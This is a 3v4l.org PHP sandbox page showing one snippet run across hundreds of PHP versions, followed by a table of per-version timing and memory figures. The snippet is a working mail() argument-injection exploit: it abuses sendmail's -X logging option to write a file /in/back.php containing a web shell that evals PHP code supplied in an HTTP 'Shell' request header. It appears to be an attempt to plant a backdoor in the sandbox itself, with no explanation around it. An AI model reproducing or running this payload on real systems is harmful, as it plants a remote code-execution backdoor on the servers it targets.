3v4l.org

run code in 300+ PHP versions simultaneously
<?php mail('','','','','-f "<?if(isset(\$_SERVER[HTTP_SHELL]))eval(\$_SERVER[HTTP_SHELL]);/*@*/?>" -OQueueDirectory=/tmp -X /in/back.php');

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0160.00318.96
8.3.30.0110.00318.52
8.3.20.0080.00018.85
8.3.10.0060.00320.48
8.3.00.0030.00519.38
8.2.170.0120.00322.96
8.2.160.0110.00418.87
8.2.150.0050.00324.18
8.2.140.0080.00024.66
8.2.130.0050.00226.16
8.2.120.0030.00620.51
8.2.110.0030.00622.31
8.2.100.0070.00417.84
8.2.90.0000.00819.17
8.2.80.0000.00817.97
8.2.70.0050.00317.75
8.2.60.0030.00517.90
8.2.50.0030.00618.07
8.2.40.0070.00017.80
8.2.30.0030.00617.96
8.2.20.0000.01019.34
8.2.10.0040.00417.62
8.2.00.0000.00817.58
8.1.270.0070.00023.99
8.1.260.0050.00326.35
8.1.250.0070.00028.09
8.1.240.0080.00823.80
8.1.230.0070.00417.42
8.1.220.0040.00417.74
8.1.210.0080.00018.77
8.1.200.0070.00317.23
8.1.190.0000.00917.30
8.1.180.0000.00818.10
8.1.170.0080.00018.76
8.1.160.0050.00218.67
8.1.150.0030.00518.42
8.1.140.0000.00717.32
8.1.130.0050.00217.75
8.1.120.0040.00417.33
8.1.110.0040.00417.34
8.1.100.0000.00817.30
8.1.90.0040.00417.37
8.1.80.0040.00417.25
8.1.70.0030.00317.22
8.1.60.0000.00717.46
8.1.50.0030.00617.44
8.1.40.0040.00417.38
8.1.30.0000.00717.64
8.1.20.0040.00417.42
8.1.10.0080.00017.52
8.1.00.0000.00717.37
8.0.300.0000.00718.77
8.0.290.0000.00716.75
8.0.280.0040.00718.32
8.0.270.0040.00417.13
8.0.260.0030.00316.75
8.0.250.0000.00716.96
8.0.240.0040.00416.81
8.0.230.0040.00416.84
8.0.220.0030.00316.92
8.0.210.0000.00716.88
8.0.200.0060.00316.89
8.0.190.0040.00416.95
8.0.180.0080.00016.79
8.0.170.0040.00416.75
8.0.160.0030.00316.84
8.0.150.0060.00316.85
8.0.140.0030.00616.73
8.0.130.0000.00613.25
8.0.120.0040.00416.83
8.0.110.0030.00616.87
8.0.100.0000.00716.75
8.0.90.0000.00716.73
8.0.80.0200.00016.85
8.0.70.0000.00716.73
8.0.60.0070.00016.83
8.0.50.0000.00716.87
8.0.30.0100.00516.88
8.0.20.0120.00517.06
8.0.10.0000.00716.78
8.0.00.0120.01016.63
7.4.330.0060.00012.79
7.4.320.0030.00316.39
7.4.300.0070.00016.39
7.4.290.0070.00016.49
7.4.280.0000.00816.32
7.4.270.0030.00316.34
7.4.260.0030.00313.14
7.4.250.0000.00816.38
7.4.240.0000.00716.46
7.4.230.0000.00616.35
7.4.220.0100.01416.43
7.4.210.0040.01116.54
7.4.200.0070.00016.28
7.4.190.0080.00016.63
7.4.160.0160.00016.44
7.4.150.0070.01016.05
7.4.140.0030.01416.46
7.4.130.0130.01016.38
7.4.120.0060.01116.32
7.4.110.0130.00416.38
7.4.100.0110.00716.47
7.4.90.0060.01216.29
7.4.80.0100.00716.45
7.4.70.0090.00616.42
7.4.60.0160.00016.18
7.4.50.0060.00316.33
7.4.40.0060.00616.59
7.4.30.0060.01016.41
7.4.00.0110.00614.80
7.3.330.0030.00313.07
7.3.320.0060.00012.97
7.3.310.0030.00316.26
7.3.300.0030.00316.22
7.3.290.0070.00816.19
7.3.280.0090.00716.17
7.3.270.0130.00416.38
7.3.260.0140.00316.20
7.3.250.0090.01016.14
7.3.240.0140.00716.19
7.3.230.0160.00016.30
7.3.210.0030.01316.45
7.3.200.0120.00419.39
7.3.190.0030.01416.33
7.3.180.0070.01116.25
7.3.170.0120.00316.16
7.3.160.0060.00916.32
7.3.120.0060.00614.97
7.2.330.0110.00716.36
7.2.320.0070.01316.23
7.2.310.0130.00316.19
7.2.300.0080.00816.20
7.2.290.0190.00316.57
7.2.60.0000.01516.34
7.2.00.0090.00619.14
7.1.200.0090.00315.83
7.1.100.0080.00318.08
7.1.70.0070.00316.90
7.1.60.0110.01419.17
7.1.50.0070.01416.61
7.1.00.0070.07322.35
7.0.200.0240.00914.55
7.0.140.0070.07021.95
7.0.120.0000.06722.18
7.0.60.0070.05019.81
7.0.50.0030.08717.80
7.0.40.0130.05720.12
7.0.30.0270.08020.20
7.0.20.0300.08720.16
7.0.10.0100.08320.16
7.0.00.0000.04720.30
5.6.280.0000.07720.81
5.6.210.0000.05020.70
5.6.200.0070.08018.23
5.6.190.0070.07720.49
5.6.180.0270.04320.61
5.6.170.0270.08020.33
5.6.160.0130.05320.38
5.6.150.0100.06718.15
5.6.140.0030.05318.11
5.6.130.0100.07718.13
5.6.120.0100.07020.89
5.6.110.0100.08021.09
5.6.100.0000.05720.97
5.6.90.0130.08021.07
5.6.80.0130.04320.27
5.5.350.0270.07720.46
5.5.340.0100.08318.02
5.5.330.0030.06020.07
5.5.320.0230.04320.28
5.5.310.0430.07020.30
5.5.300.0070.08317.92
5.5.290.0100.07018.02
5.5.280.0130.08020.87
5.5.270.0030.07720.63
5.5.260.0070.08020.83
5.5.250.0100.03720.69
5.5.240.0030.06720.15
5.4.450.0100.07719.41
5.4.440.0070.07319.47
5.4.430.0100.05719.41
5.4.420.0070.08019.40
5.4.410.0070.05319.28
5.4.400.0070.06019.09
5.4.390.0070.07719.17
5.4.380.0130.06719.16
5.4.370.0030.04318.93
5.4.360.0070.06018.81
5.4.350.0070.06318.79
5.4.340.0100.05719.09
5.4.320.0030.07319.11
5.4.310.0070.05719.11
5.4.300.0070.07318.92
5.4.290.0100.07319.08
5.4.280.0070.07718.91
5.4.270.0070.07718.78
5.4.260.0070.04319.14
5.4.250.0030.06719.07
5.4.240.0070.08018.91
5.4.230.0200.03719.15
5.4.220.0030.04019.16
5.4.210.0100.07718.90
5.4.200.0030.08318.91
5.4.190.0030.04318.99
5.4.180.0130.06018.76
5.4.170.0170.04318.79
5.4.160.0100.06318.98
5.4.150.0030.06319.07
5.4.140.0070.07316.34
5.4.130.0100.05716.26
5.4.120.0030.07016.22
5.4.110.0030.07316.23
5.4.100.0100.04016.27
5.4.90.0070.06016.31
5.4.80.0030.04716.23
5.4.70.0130.07016.39
5.4.60.0100.07016.22
5.4.50.0130.06716.21
5.4.40.0070.04016.43
5.4.30.0100.06016.21
5.4.20.0030.04716.12
5.4.10.0100.04016.27
5.4.00.0130.06315.73
5.3.290.0030.04714.55
5.3.280.0030.08014.46
5.3.270.0100.06714.54
5.3.260.0100.08014.53
5.3.250.0100.07314.53
5.3.240.0130.07014.39
5.3.230.0130.06714.41
5.3.220.0100.06014.35
5.3.210.0030.04714.50
5.3.200.0130.06714.46
5.3.190.0100.06314.54
5.3.180.0030.05314.57
5.3.170.0100.07314.51
5.3.160.0070.07714.50
5.3.150.0070.04314.35
5.3.140.0000.07714.51
5.3.130.0030.06014.56
5.3.120.0130.05714.50
5.3.110.0070.08714.46
5.3.100.0070.03713.98
5.3.90.0070.07013.94
5.3.80.0100.06013.80
5.3.70.0100.05713.98
5.3.60.0030.07313.94
5.3.50.0100.06713.87
5.3.40.0070.05013.87
5.3.30.0100.07313.86
5.3.20.0100.07313.65
5.3.10.0100.07013.60
5.3.00.0030.07713.52
5.2.170.0000.04711.14
5.2.160.0130.04011.13
5.2.150.0070.05311.13
5.2.140.0070.05011.22
5.2.130.0070.05311.04
5.2.120.0100.06011.08
5.2.110.0070.06310.97
5.2.100.0130.05310.99
5.2.90.0100.05711.20
5.2.80.0070.05311.17
5.2.70.0130.04310.91
5.2.60.0070.03010.86
5.2.50.0000.03010.95
5.2.40.0030.03010.89
5.2.30.0000.03010.86
5.2.20.0030.02710.95
5.2.10.0030.03011.01
5.2.00.0030.02710.71
5.1.60.0030.02710.05
5.1.50.0000.02710.04
5.1.40.0070.02310.01
5.1.30.0030.02710.48
5.1.20.0000.02710.35
5.1.10.0030.02310.16
5.1.00.0030.0239.97
5.0.50.0000.0208.38
5.0.40.0000.0208.35
5.0.30.0030.0308.23
5.0.20.0100.0138.25
5.0.10.0030.0178.09
5.0.00.0070.0238.17
4.4.90.0030.0138.06
4.4.80.0030.0178.06
4.4.70.0030.0138.06
4.4.60.0000.0178.06
4.4.50.0000.0178.06
4.4.40.0000.0278.06
4.4.30.0030.0138.06
4.4.20.0030.0178.06
4.4.10.0000.0178.06
4.4.00.0030.0208.06
4.3.110.0000.0178.06
4.3.100.0000.0178.06
4.3.90.0000.0178.06
4.3.80.0000.0238.06
4.3.70.0000.0178.06
4.3.60.0000.0138.06
4.3.50.0000.0138.06
4.3.40.0000.0238.06
4.3.30.0000.0138.06
4.3.20.0000.0178.06
4.3.10.0000.0178.06
4.3.00.0000.0138.06

preferences:
36.23 ms | 400 KiB | 5 Q